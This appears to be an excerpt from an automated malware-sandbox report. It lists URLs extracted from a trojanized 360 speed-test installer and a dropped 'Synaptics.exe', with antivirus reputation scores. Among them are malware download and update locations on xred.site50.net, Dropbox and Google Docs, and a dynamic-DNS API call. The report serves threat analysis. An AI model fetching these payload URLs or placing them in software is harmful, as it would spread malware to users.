              http://bigsoftdlc.360tpcdn.com/auto/20200826/104511_999095167454c21f770b31e8f080ebb7.exe0%Avira URL Cloudsafe
              http://xred.site50.net/syn/SUpdate.iniZ6%VirustotalBrowse
              http://bigsoftdlc.360tpcdn.com/auto/20200826/104511_999095167454c21f770b31e8f080ebb7.exe2%VirustotalBrowse
              http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exe2%VirustotalBrowse
              http://softdl.300%Avira URL Cloudsafe
              http://bigsoftdlc.360tpcdn.com/auto/20200826/104511_999095167454c21f770b31e8f080ebb7.exeexe0%Avira URL Cloudsafe
              http://bigsoftdlc.360tpcdn.com/auto/20201125/105005364_74cbde2c220e12dbd49b2c86e0ab2c6f.exe0%Avira URL Cloudsafe
              https://csp.withgoogle.com/csp/report-to/AccountsSignInUi/external0%Avira URL Cloudsafe
              http://bigsoftdlc.360tpcdn.com/auto/20201125/255_783b4b154d0324eeb977fbb2af3a6c62.exe0%Avira URL Cloudsafe
              http://netmon.stat.360safe.comPA0%Avira URL Cloudsafe
              http://bigsoftdlc.360tpcdn.com/auto/20201126/25_bc9b01c87e77161ae1c8c49357e7d7c7.exe0%Avira URL Cloudsafe
              http://xred.site50.net/syn/SSLLibrary.dlh0%Avira URL Cloudsafe
              http://xred.site50.net/syn/Synaptics.rarZ0%Avira URL Cloudsafe
              http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exeu00%Avira URL Cloudsafe
              http://bigsoftdlc.360tpcdn.com/auto/20210401/103779382_99dafefbd4193095a95fa713348fe6e7.exe0%Avira URL Cloudsafe
              http://softdlc.360tpcdn.com/auto/20201130/2000000064_f07aefc3d918ebdafa9418f3f5ef5f9c.exe0%Avira URL Cloudsafe
              http://v.t.sina.com.cn/share/share.php?title=%s&ralateUid=21014750220%Avira URL Cloudsafe
              http://xred.site50.net/syn/SUpdate.iniD00%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              ⊘No contacted domains info

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              https://support.google.com/accounts?p=signin_privatebrowsing&amp;hl=en-USSynaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327686850.0000000005338000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                https://accounts.google.com/v3/signin/identifier?dsh=S436284972%3A1672513696011025&continue=https%3ASynaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exe360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmp, netspeedtmp.npl.1.drfalse
                  • 2%, Virustotal, Browse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1Synaptics.exe.0.drfalse
                    		high
                    http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe._cache_360#U6d4b#U901f.exe, 00000001.00000003.300605048.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      http://softdl.360.cn/se5/360se_5.0.9.5_20121231.exee360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        http://tachometer.netmon.360.cn/Interface/AddUserRank%d%%http://tachometer.netmon.360.cn/Interface/G360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                          		high
                          http://bigsoftdlc.360tpcdn.com/auto/20201126/1900021484_094eacafce95b2fe2a636011913a57b0.exey2q360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://accounts.google.com/Synaptics.exe, 00000002.00000003.312206930.0000000005356000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327575587.0000000005321000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.325709162.00000000052E5000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://accounts.google.com/v3/sSynaptics.exe, 00000002.00000000.327665917.0000000005331000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://pstat.p.360.cn/uplog.php0cpsign1md5b3deb21a3401d8e933ddcb45a6c07222._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://accounts.google.com/v3/signin/identifier?dsh=S319067843%3A1672513696369712&continue=https%3ASynaptics.exe, 00000002.00000003.313796873.000000000531A000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.326735516.00000000052FF000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.fontbureau.com/designers360SpeedTest.exe, 00000004.00000003.328750938.0000000003119000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.312901154.0000000003119000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://bigsoftdlc.360tpcdn.com/auto/20200826/104511_999095167454c21f770b31e8f080ebb7.exe360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmp, netspeedtmp.npl.1.drfalse
                                    • 2%, Virustotal, Browse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://speed.netmon.360safe.com/pdownlist.dat%s?s=%dhttp://speedtest.360.cn/16mnetspeedtmp.nplpdown:._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://speedtest.360.cn/16mrt._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://csp.withgoogle.com/csp/report-to/AccountsSignInUi/externalSynaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327014965.000000000530E000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://vip.foxitsoftware.cn/success/success.html?agent=%s&product_id=%s&version=%s&productname=%sCOnnts9475.tmp.P2P.4.drfalse
                                          		high
                                          https://accounts.google.com/ServiceLogin?service=wise&passive=1209600&continue=https://docs.google.cSynaptics.exe, 00000002.00000000.326754117.0000000005300000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://xred.site50.net/syn/SUpdate.iniZSynaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpfalse
                                            • 6%, Virustotal, Browse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://xred.site50.net/syn/SUpdate.iniSynaptics.exe.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://softdl.360.cn/WanDouJia/WanDouJia_2.35.0.2202bd.exe_360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              http://softdl.360.cn/360se6/360se6_6.0.2.190.exe//p2=0360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://tachometer.netmon.360.cn/Interface/AddUserRank360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                  		high
                                                  http://tachometer.netmon.360.cn/Interface/AddUserRank%02d/%02dhttp://tachometer.netmon.360.cn/Interf360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                    		high
                                                    http://bigsoftdlc.360tpcdn.com/auto/20200826/104511_999095167454c21f770b31e8f080ebb7.exeexe360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://dldir1.qq.com/qqtv/TencentVideo10.10.2290.0.exenetspeedtmp.npl.1.drfalse
                                                      		high
                                                      https://accounts.google.com/v3/signin/identifier?dsh=S369217427%3A1672513695645434&amp;continue=httpSynaptics.exe, 00000002.00000000.327645056.000000000532E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://tachometer.netmon.360.cn/Interface/AddUserRankck(WKm360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                          		high
                                                          http://softdl.30360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		low
                                                          http://bigsoftdlc.360tpcdn.com/auto/20201125/105005364_74cbde2c220e12dbd49b2c86e0ab2c6f.exe360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmp, netspeedtmp.npl.1.drfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://accounts.google.com/TOS?loc=GB&amp;hl=en-US&amp;privacy=trueSynaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://xred.site50.net/syn/Synaptics.rarSynaptics.exe.0.drtrue
                                                              • URL Reputation: malware
                                                              		unknown
                                                              http://down.360safe.com/cse/cs_inst.cab360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                		high
                                                                http://nsis.sf.net/NSIS_ErrorError360SpeedTest.exe, 00000004.00000003.354619701.000000000AF78000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.352372171.000000000AF2C000.00000004.00000800.00020000.00000000.sdmp, nts9442.tmp.P2P.4.drfalse
                                                                  		high
                                                                  http://bigsoftdlc.360tpcdn.com/auto/20201125/255_783b4b154d0324eeb977fbb2af3a6c62.exenetspeedtmp.npl.1.drfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  http://netmon.stat.360safe.comPA._cache_360#U6d4b#U901f.exe, 00000001.00000003.297180090.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297260003.0000000002F2B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978Synaptics.exe.0.drfalse
                                                                    		high
                                                                    http://www.founder.com.cn/cn/360SpeedTest.exe, 00000004.00000003.308006754.00000000030F4000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.308141015.00000000030F4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=0360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1Synaptics.exe.0.drfalse
                                                                        		high
                                                                        http://nsis.sf.net/NSIS_Error360SpeedTest.exe, 00000004.00000003.352372171.000000000AF2C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://tachometer.netmon.360.cn/config/get?d=allcurrentntspdown://k=1._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://bigsoftdlc.360tpcdn.com/auto/20201126/25_bc9b01c87e77161ae1c8c49357e7d7c7.exenetspeedtmp.npl.1.drfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://accounts.google.com/v3/signin/identifier?dsh=S688778980%3A1672513695615089&continue=https%3ASynaptics.exe, 00000002.00000003.313796873.000000000531A000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.326730403.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327604284.0000000005323000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://softdl.360.cn/dwyy/YYSetup_5.4.0.3.exe$360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://www.360.cn._cache_360#U6d4b#U901f.exe, 00000001.00000003.293649323.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.299151423.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297491825.0000000002F4B000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295689818.0000000002F23000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294300088.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297260003.0000000002F2B000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293163450.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295014859.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.347700377.0000000009CE7000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.347565344.000000000A5E7000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drfalse
                                                                                  		high
                                                                                  http://xred.site50.net/syn/SSLLibrary.dlh360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://tachometer.netmon.360.cn/Interface/GetTime360NetUL.dllhttp://test.tachometer.netmon.360.cn/In360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                    		high
                                                                                    http://xred.site50.net/syn/SSLLibrary.dllSynaptics.exe.0.drfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://softdl.360.cn/360se6/360se6_6.0.2.190.exe._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://softdl.360.cn/se5/360se_5.0.9.5_20121231.exe._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://xred.site50.net/syn/Synaptics.rarZSynaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmptrue
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown
                                                                                          http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exeu0360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown
                                                                                          http://softdl.360.cn/WanDouJia/WanDouJia_2.35.0.2202bd.exe._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUnts9475.tmp.P2P.4.drfalse
                                                                                              		high
                                                                                              http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exeN._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000000.301708795.000000000133E000.00000008.00000001.01000000.00000006.sdmp, LiveUpd360.dll.1.drfalse
                                                                                                		high
                                                                                                http://www.360.cn/._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295689818.0000000002F23000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294300088.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295014859.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drfalse
                                                                                                  		high
                                                                                                  https://accounts.google.com/FSynaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327587009.0000000005322000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://netmon.stat.360safe.com/stat?mid=%s&type=411&k1=%d&k2=%s&k3=%s1SpeedTestShortCutRepairOncespe._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://accounts.google.com/TOS?loc=GB&amp;hl=en-USSynaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327686850.0000000005338000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://softdl.360.cn/dwyy/YYSetup_5.4.0.3.exe._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://www.carterandcone.com360SpeedTest.exe, 00000004.00000003.310558201.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310855985.00000000030FA000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310652660.00000000030FA000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310075539.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.309428119.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310291588.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310780052.00000000030FB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          • URL Reputation: safe
                                                                                                          		unknown
                                                                                                          http://api.ip.360.cn/netmona24a7151557b91035858d164ddbe2e69..._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe8._cache_360#U6d4b#U901f.exe, 00000001.00000003.295666957.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              http://bigsoftdlc.360tpcdn.com/auto/20210401/103779382_99dafefbd4193095a95fa713348fe6e7.exenetspeedtmp.npl.1.drfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              http://softdl.360.cn/91assistant/91assistant_iphone_2.9.78.381bd.exe._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                http://softdlc.360tpcdn.com/auto/20201130/2000000064_f07aefc3d918ebdafa9418f3f5ef5f9c.exenetspeedtmp.npl.1.drfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                http://www.openssl.org/support/faq.htmlnts9475.tmp.P2P.4.drfalse
                                                                                                                  		high
                                                                                                                  http://down.360safe.com/setup.exeIsBetaVersion360ver.dllSOFTWARE360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://accounts.google.com/r#Synaptics.exe, 00000002.00000000.325709162.00000000052E5000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://csp.withgoogle.com/csp/report-to/gse_qebhlkSynaptics.exe, 00000002.00000003.312250800.000000000536C000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313485712.000000000533C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      • URL Reputation: safe
                                                                                                                      		unknown
                                                                                                                      http://test.tachometer.netmon.360.cn/Interface/AddUserRankhttp://test.tachometer.netmon.360.cn/Inter360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                        		high
                                                                                                                        http://dl.foxitreader.cn/api/settings_v2?region=cc&channel=%s&skq=%dnts9475.tmp.P2P.4.drfalse
                                                                                                                          		high
                                                                                                                          http://down.360safe.com/setup.exeIsBetaVersion360ver.dllPathopen._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drfalse
                                                                                                                            		high
                                                                                                                            http://tachometer.netmon.360.cn/Interface/GetTimehttp://test.tachometer.netmon.360.cn/Interface/AddU360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                              		high
                                                                                                                              http://tachometer.netmon.360.cn/Interface/AddUserRankhttp://tachometer.netmon.360.cn/Interface/GetTi360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://tachometer.netmon.360.cn/Interface/GetTime0R360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://dldir1.qq.com/qqfile/qq/QQ9.0.5/23816/QQ9.0.5.exenetspeedtmp.npl.1.drfalse
                                                                                                                                    		high
                                                                                                                                    http://update.360safe.com/v3/safeup_lib64.cabhttp://update.360safe.com/v3/safeup_lib.cab360trayHandl._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drfalse
                                                                                                                                      		high
                                                                                                                                      https://accounts.google.com/v3/signin/identifier?dsh=S436284972%3A1672513696011025&amp;continue=httpSynaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        http://tachometer.netmon.360.cn/Interface/GetTime360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlSynaptics.exe, 00000002.00000003.311876891.0000000002194000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            http://www.fontbureau.com/designersb360SpeedTest.exe, 00000004.00000003.312002939.0000000003119000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              http://v.t.sina.com.cn/share/share.php?title=%s&ralateUid=2101475022360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                              		unknown
                                                                                                                                              https://accounts.google.com/v3/signin/identifier?dsh=S-1794591156%3A1672513696568574&continue=https%Synaptics.exe, 00000002.00000000.327807657.0000000005346000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328027994.000000000535C000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                		high
